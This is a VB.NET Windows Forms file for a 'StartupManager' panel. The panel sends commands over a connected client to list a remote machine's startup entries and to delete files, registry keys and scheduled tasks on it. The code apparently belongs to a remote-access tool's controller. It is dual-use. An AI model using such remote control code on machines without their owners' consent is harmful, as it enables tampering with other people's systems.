81 lines
3.1 KiB
VB.net
81 lines
3.1 KiB
VB.net
Imports System.Threading
|
|
Public Class StartupManager
|
|
|
|
Public C As Client
|
|
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
|
Try
|
|
If Not C.IsConnected Then
|
|
Close()
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub ListView1_SelectedIndexChanged(sender As Object, e As EventArgs) Handles ListView1.SelectedIndexChanged
|
|
Try
|
|
ToolStripStatusLabel3.Text = "Selected [" & ListView1.SelectedItems.Count.ToString & "]"
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub StartupManager_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
|
Refresh()
|
|
End Sub
|
|
|
|
Public Sub Refresh()
|
|
|
|
ListView1.Items.Clear()
|
|
|
|
ToolStripStatusLabel4.Text = "Wait.."
|
|
|
|
Dim B As Byte() = SB("GetStartup")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
|
|
End Sub
|
|
|
|
Private Sub StartupManager_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
|
Dim B As Byte() = SB("CloseStartupManager")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub RefreshToolStripMenuItem_Click(sender As Object, e As EventArgs)
|
|
Refresh()
|
|
End Sub
|
|
|
|
Private Sub ListView1_KeyDown(sender As Object, e As KeyEventArgs) Handles ListView1.KeyDown
|
|
Try
|
|
If e.Modifiers = Keys.Control AndAlso e.KeyCode = Keys.A Then
|
|
If ListView1.Items.Count > 0 Then
|
|
For Each x As ListViewItem In ListView1.Items
|
|
x.Selected = True
|
|
Next
|
|
End If
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
Private Sub ToolStripMenuItem4_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem4.Click
|
|
Refresh()
|
|
End Sub
|
|
|
|
Private Sub DeleteToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles DeleteToolStripMenuItem.Click
|
|
For Each LV As ListViewItem In ListView1.SelectedItems
|
|
Select Case LV.SubItems(1).Text
|
|
|
|
Case "File"
|
|
Dim B As Byte() = SB("DeleteFile" & SettingsHelper.SPL & LV.SubItems(2).Text & "\" & LV.SubItems(0).Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Case "Reg"
|
|
Dim B As Byte() = SB("DeleteReg" & SettingsHelper.SPL & LV.SubItems(2).Text & "\" & LV.SubItems(0).Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Case "Task"
|
|
Dim B As Byte() = SB("DeleteTask" & SettingsHelper.SPL & LV.SubItems(0).Text)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
|
|
End Select
|
|
Next
|
|
End Sub
|
|
End Class |